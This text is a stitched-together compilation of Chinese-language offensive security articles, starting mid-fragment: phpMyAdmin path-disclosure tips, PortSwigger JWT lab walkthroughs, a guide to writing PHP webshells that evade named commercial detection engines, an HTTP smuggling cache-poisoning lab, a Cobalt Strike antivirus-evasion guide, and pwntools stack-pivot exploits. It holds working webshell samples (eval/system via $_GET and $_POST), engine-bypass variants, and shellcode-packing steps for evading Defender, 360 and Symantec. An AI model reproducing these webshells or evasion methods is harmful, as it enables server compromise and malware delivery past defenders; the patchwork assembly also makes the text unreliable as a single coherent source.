/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
load_file()
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/lect_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php
配置文件找路径
如果注入点有文件读取权限,就可以手工load_file或工具读取配置文件,再从中寻找路径信息(一般在文件末尾)。各平台下Web服务器和PHP的配置文件默认路径可以上网查,这里列举常见的几个。
Windows:
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件
Linux:
/etc/php.ini php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件
Linux
为什么要把Linux单独提出来说,因为Linux的权限控制很严格,有的时候即使我们完全控住了MYSQL 但是 没有对网站根目录的读写权限,也会很没有办法去利用上述方法写shell。
浅析JWT安全问题
前不久研究websocket时发现port-swigger出了新的靶场,一看,发现是关于jwt安全的,刚好来总结回忆一下
JWT简介
Json web token (JWT),是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准(RFC 7519)
RFC 7519:https://datatracker.ietf.org/doc/html/rfc7519
他定义了一种紧凑且自包含的方式,用于在各方之间安全地传输信息作为 JSON 对象,特别适用于分布式站点的单点登录(SSO)场景
JWT与cookie/session的异同
● JWT与cookie/session一样,都是作用于前后端认证
● cookie/session:后端有个session,前端有个cookie,这样的基于session的认证会要求服务端不断存储用户登录信息,而随着不同客户端用户的增加,独立的服务器会逐渐无法承载更多的用户,导致其服务器的压力十分巨大,且cookie一旦被窃取还可能造成CSRF攻击
● JWT:当我们把前后端分离开来,后端不再有session,当不再需要保存session文件,这就降低了服务端的负担,而我们就可以利用JWT这么一个基于token的鉴权认证,而基于token认证机制的应用就不需要去考虑用户在哪个服务器登录,客户端也可以将通过服务器认证后的json对象存储起来,下次访问时连同请求内容一同发送即可
JWT格式
JWT由Header、Payload、Signature组成
Header.Payload.Signature
Header
{"alg":"加密算法","typ":"JWT"}
Payload
iss: The issuer of the token
sub: The subject of the token
aud: The audience of the token
exp: JWT expiration time defined in Unix time
nbf: "Not before" time that identifies the time before which the JWT must not be accepted for processing
iat: "Issued at" time, in Unix time, at which the token was issued
jti: JWT ID claim provides a unique identifier for the JWT
//可以自定义其它字段
Signature
Signature = HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload),"secret")
secret保存在后端,就是来解析确定验证的key
JWT&JWS&JWE
● JWS,即JSON Web Signature,只是 JWT 的一种实现
● JWE,即JSON Web Encryption,也只是 JWT 的一种实现
潜在漏洞
● 签名未校验
● 算法被篡改
● 敏感信息泄露
● 加密算法不安全
● 伪造密钥(CVE-2018-0114)
JWT安全问题
未对签名进行验证
我们前面说过,JWT存在一个Signature 签名,如若没对签名进行认证,就可能存在越权情况
靶场
Lab: JWT authentication bypass via unverified signature
解法
To solve the lab, modify your session token to gain access to the admin panel at /admin, then delete the user carlos.
我们需要把carlos删掉,而这就需要登录管理员账号,但是又没有给管理员的账号,只有一个普通用户,那我们就要想办法提升权限
先抓包
观察确定为JWT,将payload处字符base64解码得
把sub的wiener修改为administrator,重新传参
成功越权,然后就是删除用户即可
未对加密算法进行强验证
回顾一下Header的构成
{"alg":"加密算法","typ":"JWT"}
这里alg可以说明加密算法,但如果对该设置不进行强认证也会造成越权问题
我们可以把加密算法设成none来进行验证绕过
靶场
Lab: JWT authentication bypass via flawed signature verification
解法
先和上题一致,将sub内容修改为administrator,然后发现还是没能成为管理员,接着修改header的alg为none,把后续的Signature删除,因为Signature是通过alg算法生成的,既然alg都为none了,那Signature也应该为空了
成功变成管理员
然后就是正常删除用户就行
绕过弱签名密钥进行越权
Signature = HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload),"secret")
我们知道,签名存在一个secret密钥,这个一般都会保存在后端,别人无法查看,但是类同于弱口令,一旦这个密钥不复杂就有可能被爆破,gayhub上也有很多爆破的字典
靶场
Lab: JWT authentication bypass via weak signing key
解法
还是一样先抓包得到JWT
然后用到hashcat来进行爆破,kali自带
hashcat -a 0 -m 16500 <YOUR-JWT> /path/to/jwt.secrets.list
爆破得到secret为secret1
然后前往jwt.io生成我们需要的的jwt,把sub和secret进行修改
重新传包,成功
JWT标头注入
与很多注入一样,JWT标头注入也可大致分为两种情况,一是与数据库连接,搭配sql注入使用,一是不与数据库连接,单独进行越权操作
通过jwk参数注入自签名的JWT
还记得我们说过的JWS吗
JWS,即JSON Web Signature,只是 JWT 的一种实现
我们就可以通过JWK注入JWT,形成JWS
那什么是JWK呢
JWK 英文全称为 JSON Web Key,是一个JSON对象,表示一个加密的密钥,他不同于alg属性,JWK是可选的,以下就是一个示例
{
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"typ": "JWT",
"alg": "RS256",
"jwk": {
"kty": "RSA",
"e": "AQAB",
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
}
}
在理想情况下,服务器应该是只使用公钥白名单来验证JWT签名的,但对于一些相关配置错误的服务器会用JWK参数中嵌入的任何密钥进行验证,攻击者就可以利用这一行为,用自己的RSA私钥对修改过的JWT进行签名,然后在JWK头部中嵌入对应的公钥进行越权操作
靶场
Lab: JWT authentication bypass via jwk header injection
解法
需要先安装一个插件,方便后续的操作
然后正常抓包,将sub内容修改为administrator
然后切换到JWT Editor Keys选项new一个RSA Key
我是已经生成的了,然后保存后回到Repeater选择Embedded JWK攻击
成功越权
JWT Editor
通过jku参数注入自签名的JWT
有些服务器并不会直接使用JWK头部参数来嵌入公钥,而是使用JKU(JWK Set URL)来引用一个包含了密钥的JWK Set,我们就可以借此来构造一个密钥从而实现越权操作
靶场
Lab: JWT authentication bypass via jku header injection
解法
先还是正常抓包修改sub内容,然后去到JWT Editor Keys生成一个RSA密钥,或者用上一道题目的也行,然后复制公钥
然后加上key头
{
"keys": [
]
}
保存到exploit的body中
然后将kid修改成自己生成的JWK中的kid值,将jku的值改为exploit,使其导入
然后回到点击下面的sign,选择Don’t modify header 模式,Sign 即可
成功越权
通过kid参数注入自签名的JWT
服务器可能会使用多个加密密钥来为不同类型的数据进行签名,出于这个原因,在JWT头部有时会包含一个kid参数,以避免服务器验证签名时出现错误,而在JWT规范中并没有对这个kid定义具体的结构,他仅仅是开发人员任意选择的一个字符串,可能只是一个指向数据库中的一个特定条目,甚至只是一个文件的名称也有可能
而安全问题就出现在这里,一旦这个参数受到目录遍历影响,就易被攻击者使用服务器任意文件的文件名作为验证密钥形成攻击链
靶场
Lab: JWT authentication bypass via kid header path traversal
解法
先生成一个Symmetric Key,也就是对称密钥,并将 k 的值修改为 AA==即为null
然后抓包修改kid值和sub进行目录遍历
/dev/null是linux中的“黑洞”,代表空设备文件
/dev/null文件名与AA==一致都为null,对称密钥,应该可以成功绕过
然后回到repeater点击sign选择OCT8 的密钥攻击
成功越权
其他有趣的JWT头部参数
● cty(内容类型)如果已经找到了绕过签名验证的方法,可以尝试注入cty参数,将内容类型改为text/xml或application/x-java-serialized-object,这有可能为XXE和反序列化攻击提供新的向量。
● x5c(X.509证书链)类似于上面讨论的jwk头部注入攻击,由于此标头参数可用于注入自签名证书,且由于 X.509 格式及其扩展的复杂性,引入这些证书时也有可能引入漏洞,可见CVE-2017-2800 和 CVE-2018-2633
JWT算法混淆
● 即使服务器的密码是攻击者无法破解的复杂密码,但是由于JWT库的一些原生安全问题,攻击者可能会以开发者想不到的算法来伪造有效的JWT
● portswigges里也有相关靶场,目前尚未完全理解,先挖个坑,后续补上
JWT攻击的防御
我们可以看到,JWT攻击千奇百怪,但是万变不离其宗,主要的潜在漏洞为
● 签名未校验
● 算法被篡改
● 敏感信息泄露
● 加密算法不安全
● 伪造密钥
我们也可围绕这些进行JWT攻击进行防御
● 使用最新的 JWT 库,虽然最新版本的稳定性有待商榷,但是安全性都是较高的
● 对 jku 标头进行严格的白名单设置
● 确保 kid 标头不容易受到通过 header 参数进行目录遍历或 SQL 注入的攻击
● 始终为颁发的任何令牌设置一个到期日
● 尽可能避免通过URL参数发送令牌
● 提供aud声明(或类似内容),以指定令牌的预期接收者,防止其应用在不同网站
● 让颁发服务器能够撤销令牌
利用PHP的特性做免杀Webshell
0x01 前言
最近很多家厂商都陆续开放了自己的Webshell检测引擎,并且公开接口,邀请众安全研究员参加尝试bypass检测引擎,并且给予奖励,我也参加了几场类似的活动,有ASRC的伏魔计划,也有TSRC的猎刃计划,还有最近正在进行的长亭的牧云(Aka.关山)Webshell检测引擎,如果你都参加或者关注了这三个比赛,你会发现他们都提到了以下几个技术:
1、词法分析
2、污点追踪
3、恶意代码检测
这些新技术我们后面的章节中,我们先讲一下传统的Webshell检测机制,再对照着最新的Webshell检测技术来说明一下如何在新技术下做免杀Webshell(本文所有Webshell基于PHP语言)
0x02 传统Webshell检测
传统的Webshell检测技术主要依赖于字符串的正则特征,在面对于已知的样本可以做到高准确率检测,在长时间的样本收取下,也可以做到满足日常运维中的Webshell检测,举几个经典的Webshell样本
1、经典一句话Webshell
<?php eval($_GET['cmd']);?>
2、反序列化Webshell
<?php
Class H3{
function __destruct(){
eval($this->c);
}
}
$a= new H3;
$a->c = $_GET['cmd'];
3、无字母Webshell
<?php
$_ = 97;
$__ = 97 + 18; //s
$___ = $__ + 6; //y
$____ = $__ + 1; //t
$_____ = $_ + 4; //e
$______ = $__ - 6; //m
$res = chr($__).chr($___).chr($__).chr($____).chr($_____).chr($______);
$_= $_POST['cmd'];
$res($_);
但是对于当下的技术发展,黑客们可以更加精心的编写Webshell来"骗"过传统的Webshell检测机制,而且Webshell易变形,在面对0day样本的时候,传统Webshell检测就会效果欠佳,也就需要更加全面的手段来与其抗衡
0x03 新型Webshell检测
对于现如今的情况下,传统的Webshell检测对于0day样本的检测效率已经不是特别好了,所以这时候就需要一种"主动"的检测方式,能够让引擎主动去理解脚本、分析样本,发现样本中的恶意行为,而不是依靠人工来添加Webshell特征。
1、污点追踪
举个例子,对于一个Webshell来说,如果要进行任意命令执行,就一定要获取外界数据,对于PHP来说也就是$_GET、$_POST来接受数据,而要想任意命令执行,这些接收到的数据也就一定要最终传递到eval、system等函数中,而污点追踪技术就是利用这一点,如果样本中的外界变量通过不断传递,最终进入到危险函数中,那基本上就可以断定为Webshell,将外界变量视为污点源,危险函数视为污点汇聚点,跟踪污点传播过程,判断污点变量是否被洗白,最终是否进入污点汇聚点,画一个流程图如下:
2、词法分析
检测引擎会将各种脚本语言进行词法语法分析,然后构建控制流图和数据流图,并在图上跟踪外界污点变量的传递,使用外界变量是WebShell非常重要的特征,如果发现外界变量最终进入了命令执行函数,就可以判断为Webshell。
引擎可以将传统的条件、循环、函数、对象的静态分析,目前还可以支持动态变量名、箭头函数、反射、回调等动态特性的分析,大大的强化的未知样本的检测成功率。
3、加密还原
在此之前我们的Webshell常用的绕过检测的方法就是通过加密来绕过,例子如下:
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$____;
$___(base64_decode($_[_])); // ASSERT($_POST[_]);
该样本利用了混淆和加密两种技术,但是现如今的检测引擎都具备有对市面上的大部分PHP加密混淆进行“脱壳”和利用动态分析PHP执行器进行虚拟执行,将混淆加密的代码进行动态还原,解密后混淆和加密相当于明文传输,再利用污点追踪技术和动静态结合分析即可大大的提高检测率,并且能够有效减小误报率,同时也让这种在之前百试不爽的技巧无法使用。
0x04 如果Bypass掉新型检测引擎
我们要知道原理就可以想办法如何“蒙骗“住检测引擎,如果大家研究过,或者说亲身参与到了bypass挑战赛中,就能感受到无论是动静态还是什么技术,最后都是根据污点追踪法则来进行检测,污点追踪的流程在上一节提到了,目前我们有两个方法:
1、利用PHP中其他的命令执行的方法,让检测引擎识别不出这是污点汇集点
2、打断污点追踪的过程,让污点汇集点不落地
拿出一个样本我们来结合代码说明(以下样本分别bypass的引擎会标注出来,截止笔者写这篇的文章的时候只有牧云webshell检测引擎正在开启)
样本1
<?php
//ASRC伏魔引擎bypass
$result = array_diff(["s","a","b","ys","te","m"],["a","b"]);
$a = join($result);
array_map($a,(array)$_REQUEST['1']);
?>
讲一下原理,首先我们需要利用技巧(PHP本身的特性),来阻断污点追踪的过程,我在fuzz测试的时候发现了array_map()这个函数存在callback并且能够逃避检测
那么首先的能够bypass的污点汇集点已经有了,接下里来就是寻找其他函数来将变量"洗白",我选择了array_diff()
这样就可以利用该函数拼凑出一个system函数,再利用array_map()的callback来做命令执行
结果如下:
这样就完成了最简单的一次bypass
样本2
<?php
//bypass 牧云 文件名需要设置为system
$filename=substr(__FILE__,-10,6);
$command=$_POST[1];
$filename($command);
__FILE__是PHP的一个魔术常量,它会返回当前执行PHP脚本的完整路径和文件名,我们利用substr()函数逆着截取,就能获得system再利用变量做函数的方式,打断了污点追踪的过程,进行命令执行,也可以成功bypass掉牧云引擎。
结果如下:
牧云引擎检测结果如下:
样本3
<?php
//bypass 牧云 and TAV反病毒引擎+洋葱恶意代码检测引擎
class A{
public function __construct(){}
public function __wakeup(){
$b = $_GET[1];
$result = array_diff(["s","a","b","ys","te","m"],["a","b"]);
$a = join($result);
Closure::fromCallable($a)->__invoke($_REQUEST[2]);
}
}
@unserialize('O:1:"A":1:{s:10:" A comment";N;}');
这个套了一层反序列化,隐藏污点汇集点的方法与样本一相同,利用数组差级构造system后利用原生类Closure的fromCallable函数
进行命令执行(在牧云中array_diff(["s","a","b","ys","te","m"],["a","b"]);这种方式会被check,索性换成动态控制,这样也能打断污点追踪)
结果如下:
样本4
<?php
// dom and xml needed, install php-xml and leave php.ini as default.
// Author:LemonPrefect
$cmd = $_GET[3];
$_REQUEST[1] = "//book[php:functionString('system', '$cmd') = 'PHP']";
$_REQUEST[2] = ["php", "http://php.net/xpath"];
$xml = <<< XML
<?xml version="1.0" encoding="UTF-8"?>
<books>
<book>
<title>We are the champions</title>
<author>LemonPrefect</author>
<author>H3h3QAQ</author>
</book>
</books>
XML;
$doc = new DOMDocument;
$doc->loadXML($xml);
$clazz = (new ReflectionClass("DOMXPath"));
$instance = $clazz->newInstance($doc);
$clazz->getMethod("registerNamespace")->getClosure($instance)->__invoke(...$_REQUEST[2]);
$clazz->getMethod("registerPHPFunctions")->invoke($instance);
$clazz->getMethod("query")->getClosure($instance)->__invoke($_REQUEST[1]);
该样本需要一些条件,前提是开启了php-xml拓展才可以,其原理就是用XML去注册一个registerPHPFunctions,也就是我们想要执行的system再利用getClosure去触发该方法而构成的webshell,其中即利用到了PHP的特性,利用registerNamespace和registerPHPFunctions来中断污点追踪,从而RCE
结果如下:
0x05 总结
在构造Webshell的时候,我们如果知道Webshell检测引擎原理,就知道如何去bypass了,对于怎样过掉Webshell引擎这件事,需要开动脑筋多去找一下PHP的文档,去找一下原生类和其他能够中断污点追踪的方法,让引擎跟踪不到你的行为,而且尽量不要让敏感字符串出现在代码本体,因为有的引擎还是有字符串的正则特征检测,同时也要学会分析,分析自己的Webshell到底哪里出的问题,从而找到更好的方法去替换。
Http-Sumggling缓存漏洞分析
当http请求走私和web缓存碰到一起会产生什么样的火花呢,让我们看看。
在接触Http Sumggling 缓存漏洞前,我们需要先对Http Sumggling和Web缓存有所了解。
什么是Web缓存
WEB缓存就是指网站的静态文件,比如图片、CSS、JS等,在网站访问的时候,服务器会将这些文件缓存起来,以便下次访问时直接从缓存中读取,不需要再次请求服务器。
缓存位于服务器和客户端之间,通常出于优化用户浏览体验或其他原因以减少对服务器的访问而设定的在固定时间内保存且针对特定请求的响应,常见的缓存点有:
后端程序缓存
服务器缓存
浏览器缓存
缓存服务器
CDN缓存
最常见的无疑就是CDN及其类似的缓存服务器。
而为了让缓存判断是否需要提供缓存内容,在http请求中会存在缓存键 X-Cache,缓存键叫什么决定于架构师,但都是一个概念。
什么是web缓存漏洞
如上图所示,假设小紫小黄小绿都在服务器划分的同一批特定请求中,那么小紫一开始访问服务器时,经过缓存键X-Cache: Miss的判定,是首次访问,所以直接连接到Server服务器,而其后的小黄、小绿再次访问相同的文件时就会被判定为X-Cache: Hit,即只需连接Cache缓存服务器,不再连接到Server服务器,借此减少了Server服务器的运行负荷。
这无疑是一个很不错的设计,但一旦被有心之士利用,那就会发生一些不好的事情了。
如图,当攻击者改了一些包发送到后端,导致后端返回一些恶意数据,比如xss、注入等问题,而由于缓存的机制,后续的正常用户访问时就会读取缓存服务器的恶意缓存,这就是常见的web缓存漏洞,也叫缓存投毒。
Http Sumggling
HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式的技术,其漏洞的主要形成原因是不同的服务器对于RFC标准的具体实现不一而导致的。
一般可分为以下几种:
CL: Content-Length
TE: Transfer-Encoding
CL不为0的GET请求
CL-CL
CL-TE
TE-CL
TE-TE
在mengchen@知道创宇404实验室的文章中有了十分详细的论述,我这就不再赘述。
https://paper.seebug.org/1048/#35-te-teHttp Sumggling 缓存漏洞
靶场
依旧以Lab: Exploiting HTTP request smuggling to perform web cache poisoning为靶场。
解法
判断是否存在走私,确定为CL-TE。
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: anything
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
第一次请求为:
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Transfer-Encoding: chunked
第二次请求为下半段:
GET /post/next?postId=3 HTTP/1.1
Host: anything
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
可以看到存在302跳转。
然后我们需要找到哪里进行缓存攻击,这里我以/resources/js/tracking.js进行攻击。
可以看到X-Cache为miss,这样我们就可以利用修改,进行缓存攻击。
先点击send post包
POST / HTTP/1.1
Host: 0a9b0056035fcd3ec0c40506003b00aa.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 195
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: https://exploit-0a6d001c033acd49c0fa05c101130045.web-security-academy.net/
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
访问到第一部分:
然后在/resources/js/tracking.js send包:
可以发现成功攻击,缓存键为miss,那下一个包应该就可以成功转接到exploit上,我们试试。
对原界面进行抓包,多抓几次。
发现host成功变为我们的exploit。
后言
漏洞越来越多,也会越来越复杂,不再是单一的某种漏洞这么简单,多种漏洞复合是未来标志。
红蓝对抗经验分享:CS免杀姿势
前言
红队在HVV中一般使用钓鱼实现突破边界,蓝队通过钓鱼实现溯源反制,但是都离不开一个好的免杀马,这里分享一下自己的免杀过程,过火绒、360杀毒、windows defender以及赛门铁克等主流杀软都没问题。
杀软工作原理
杀软的查杀方式有多种,比如特征识别,是基于各个厂商收集的病毒样本,依据病毒样本提取的病毒特征,所以杀软的能力在一定程度上也取决于病毒库的大小,这种基于特征识别一般是基于静态。启发式的工作原理基本上可以定义为动态查杀或者是机器学习方法的一种查杀手段,会依据可能执行程序或者关注应用系统重要区域行为而做出的查杀行为。
免杀手段
修改特征码,可以根据污点检测的方式定位到触发杀软规则的病毒样本特征,修改明显的特征在一定程度上是可以实现免杀的。
花指令免杀,在程序 shellcode 或特征代码区域增添垃圾指令,增加的垃圾指令不会影响文件执行,在动态查杀或者文件hash对比是校验会不一致。
加壳,比如upx加壳等,一般文件落地后对比哈希值也可绕过杀软。
二次编译,一般用于对shellcode进行二次编译bypass杀软。
poweshell免杀,但是一般防护软件或者系统本身正常调用powershell应用程序的时候都会产生告警,一般的安全设备是过不了的,需要在命令上使用手段绕过安全设备监测。
免杀
CS生成payload
添加监听器,生成payload
下载go-strip.exe,混淆二进制go编译信息
下载地址
https://cdn.githubjs.cf/boy-hack/go-strip/releases/download/v3.0/go-strip_0.3.4_windows_amd64.zip
运行脚本bypass
go run main.go
核心内容就是加密方式
shellcode二层加密。
这里没有直接放源码,因为担心样本被打标签,这里推荐几个项目,这里的话尽量使用go不建议python
https://github.com/TideSec/BypassAntiVirushttps://github.com/admin360bug/bypasshttps://github.com/hack2fun/BypassAV/blob/master/bypass.cna这里我修改了生成的exe。安装火绒,查杀
CS上线
加壳
另外再加壳测试。地址
https://upx.en.softonic.com/简单的压缩壳
upx.exe -f Go_bypass.exe
加壳后生辰的exe文件大小为406KB
可以看到加壳之前的文件大小为1011kb
修改加壳后的文件名为upx_Go_bypass方便确认上线状态
成功上线,继续查看加壳后的免杀效果
此时火绒对于有加壳前和加壳后的文件都未报毒
虽然加壳前的报毒了,但是加壳后的未报毒。
赛门铁克也未报毒,其它杀软不放图了。但是需要注意的是别使用云沙箱检测。
总结
多测试总会有新发现,实践起来相对稍微容易一点儿,不过需要注意免杀之后的效果是最重要的。
关于栈迁移的那些事儿
一、前言
现在的CTF比赛中很难在大型比赛中看到栈溢出类型的赛题,而即使遇到了也是多种利用方式组合出现,尤其以栈迁移配合其他利用方式来达到组合拳的效果,本篇文章意旨通过原理+例题的形式带领读者一步步理解栈迁移的原理以及在ctf中的应用。
二、前置知识
在笔者看来栈迁移的原理其实可以总结为一句话:因为栈溢出字节过少所以劫持rsp寄存器指向攻击者提前布置好payload的内存地址,已达到扩充溢出字节数的目的。 以一个简单的demo1为例,程序源码以及编译指令如下所示:
#include <stdio.h>
char buf1[0x100];
void main() {
char buf2[0x40];
puts("First: ");
read(0, buf1, 0x100);
puts("Second: ");
read(0, buf2, 0x60);
}
// gcc -fno-stack-protector -no-pie -z lazy -o demo1 demo1.c
程序的流程非常简单存在两个输出,第一次是往全局变量buf1第二次是往局部变量buf2中写入。可以看到在第二次写入时存在明显的栈溢出漏洞,但是溢出的字节数只够写入0x18大小的字节,如果要构造gadget泄露内存地址,最短的ROP链也需要0x20的字节才可以在泄露内存后返回输入点继续执行程序。
在这种情况就可以使用栈迁移的方式来扩大溢出字节数的大小,在前面说过栈迁移的本质就是劫持rsp寄存器指向攻击者提前布置好payload的内存地址,而劫持rsp寄存器的指令有很多,最常用的就是函数的退栈返回指令leave; ret。 可以分成两部分来理解这条指令。首先执行的是leave指令,这条指令共执行了两个操作mov rsp, rbp和pop rbp,其中rsp寄存器的指向变化如下图所示,可以看到在执行完leave指令后rsp寄存器指向了返回地址;随后会执行ret指令,这条指令可以理解成pop rip。因为此时rsp寄存器指向rbp+8即函数的返回地址,所以pop给rip寄存器的就是函数的返
在了解这条指令后不难发现,如果利用溢出漏洞可以覆盖rbp的值为一个已知地址,那么在执行过两次leave; ret指令后,就可以劫持rsp寄存器到任意地址,此时rsp寄存器指向的地址即为新的栈地址,只要事先在新地址处布置好想要执行的rop gadget,那么溢出字节过少这个问题就迎刃而解了。
根据上面介绍的栈迁移原理,可以总结出使用栈迁移的一些必要条件
存在可以劫持程序流和控制rbp寄存器的漏洞
攻击者可以确定准确某一块具有读写权限的地址
在进行栈迁移前需要在这块地址上进行rop gadget布局
三、例题讲解
3.1 例题demo1
在理解了栈迁移的原理后可以通过这个demo来练练手了,进行编译时未开启Canary和PIE保护,NX保护开启防止写入shellcode
这里先将大体的利用思路总结出来,其中的实现细节实现会在下文中进行说明。
未开启PIE保护,可以确定第一次写入的地址记作addr1,在此地址处布置rop gadget来实现泄露LIBC地址并返回主函数
利用第二次写入存在的栈溢出漏洞覆盖rbp为addr1,rip为指令leave; ret的地址实现栈迁移
返回主函数后利用ret2libc执行system("/bin/sh")获取shell
3.1.1 栈迁移布局
首先我们利用第一次输入进行rop chain布局,并利用第二次栈溢出漏洞覆盖rbp为伪栈地址劫持rip为leave; ret指令地址,内存变化如下图所示。 细心的同学会发现,我们在第一次进行rop chain布局前有一小段padding填充在前面,这是因为在我们进行栈迁移后,程序指令中所有对于栈的操作都会在伪栈内进行,而伪栈地址与got表地址相邻,填入这小段padding的目的就是为了避免程序在对伪栈进行读写数据时造成内存数据段内关键信息被覆盖,从而造成crash现象。
在汇编中当我们要对局部变量进行操作时,一般都是用rbp栈底寄存器来定位,如下图所示。这一点在栈迁移中可以让我们构造出一个类似于链表的利用结构,每次布置rop chain时不断将rbp寄存器赋值为伪栈地址,然后跳转到主函数的写入函数处,因为局部变量寻址是通过rbp寄存器,所以我们可以不断进行rop chain的布局。 在第一次进行rop chain的布局中控制rbp寄存器指向新的伪栈地址,那么在返回主函数后执行read函数时,写入地址就是新的伪栈地址,这时只要利用栈溢出漏洞去构造ret2libc即可getshell。
3.1.2 EXP
from pwn import *
p = process('./demo1')
libc = ELF('./demo1').libc
fake_stack = 0x601060
leave_ret = 0x40058E
puts_plt = 0x400430
puts_got = 0x601018
pop_rdi = 0x4005f3
read_text = 0x400572
payload1 = "a"*0x78+p64(fake_stack+0x408)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read_text)
p.sendafter('First:', payload1)
payload2 = 'a'*0x40+p64(fake_stack+0x78)+p64(leave_ret)
p.sendafter('Second:', payload2)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = puts_addr - libc.sym['puts']
system = libc_base+libc.sym['system']
sh = libc_base+libc.search('/bin/sh').next()
success(hex(libc_base))
payload3 = "a"*0x48+p64(pop_rdi)+p64(sh)+p64(system)
p.send(payload3)
p.interactive()
3.2 例题demo2
在CTF比赛中通常只有一次写入机会,这边给出demo2的源码以及编译命令。
# include <stdio.h>
# include <string.h>
void main() {
char buf[0x28];
puts("Hello Hacker.");
read(0, buf, 0x40);
}
// gcc -fno-stack-protector -no-pie -z lazy -o demo2 demo2.c
与demo1一样demo2未开启Canary 与PIE保护,不同的是demo2中只有一次输入机会,并且溢出字节数只能覆盖返回地址。 结合之前讲解的栈迁移技巧,首先在劫持rsp前需要进行rop chain布局,程序并没有一次可以往伪栈布局的机会,但是可以利用劫持程序流的方式来构造这一条件。 观察程序的汇编代码如下图所示,在对局部变量buf进行寻址时使用了rbp寄存器,那么我们可以利用这一点配合栈溢出漏洞来实现伪栈上的rop布局。利用思路如下所示,其中的实现细节实现会在下文中进行说明。
利用栈溢出漏洞劫持rbp寄存器为伪栈地址,返回地址为0x40054b(图中主程序的输入函数),即可在返回主程序后对伪栈进行rop chain的布局
对伪栈进行rop chain的布局,泄露LIBC地址并返回主函数
返回主函数后利用栈溢出漏洞配合栈迁移+ret2libc完成getshell
3.2.1 伪栈rop布局
第一次leave; ret是主函数退栈时执行的,利用栈溢出漏洞覆盖rbp为伪栈地址,rsp为主函数地址。当我们再次来到主函数的输入函数时即可在伪栈上布置rop chain。此时的内存变化如下图所示
第二次leave; ret指令依然来自主函数退栈时执行,在伪栈上布置好rop chain后程序执行退栈操作,此时rbp寄存器内保存fack_stack-0x30的地址即rop chain地址+0x8的位置处,rsp寄存器被劫持到伪栈上,此时的内存变化如下图所示
这里为什么是fake_stack-0x30的地址呢?因为在对局部变量buf进行寻址时使用到rbp寄存器,而本题中的buf地址来自[rbp-0x30]的地址,所以如果想要将rsp劫持到rop chain的位置,就需要对rbp寄存器赋值为fakc_stack-0x30,那么在执行第三次leave的时候,rsp寄存器就劫持到rop chain的地址处,此时的内存变化如下图所示
泄露完LIBC地址后,劫持程序流返回主函数,利用read函数对伪栈进行最后一次rop布局,需要注意此时的写入地址是fake_stack-0x30,所以在栈迁移时rbp寄存器的值为fake_stack-0x30-0x30-0x8的地址处,再执行一次leave; ret时即可将rsp寄存器劫持到ret2libc rop地址处。内存变化如下图所示
3.2.2 EXP
from pwn import *
context.log_level = 'debug'
p = process('./demo1')
libc = ELF('./demo1').libc
read_text = 0x40054B
fake_rbp = 0x601500
pop_rdi = 0x4005d3 # pop rdi; ret;
puts_plt = 0x400430
puts_got = 0x601018
leave_ret = 0x400567
# gdb.attach(p, 'b *0x400567')
payload1 = 'a'*0x30+p64(fake_rbp)+p64(read_text)
p.sendafter("Hello Hacker.", payload1)
payload2 = p64(fake_rbp-0x30)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read_text)+p64(0)+p64(fake_rbp-0x30)+p64(leave_ret)
p.send(payload2)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = puts_addr - libc.sym['puts']
system = libc_base+libc.sym['system']
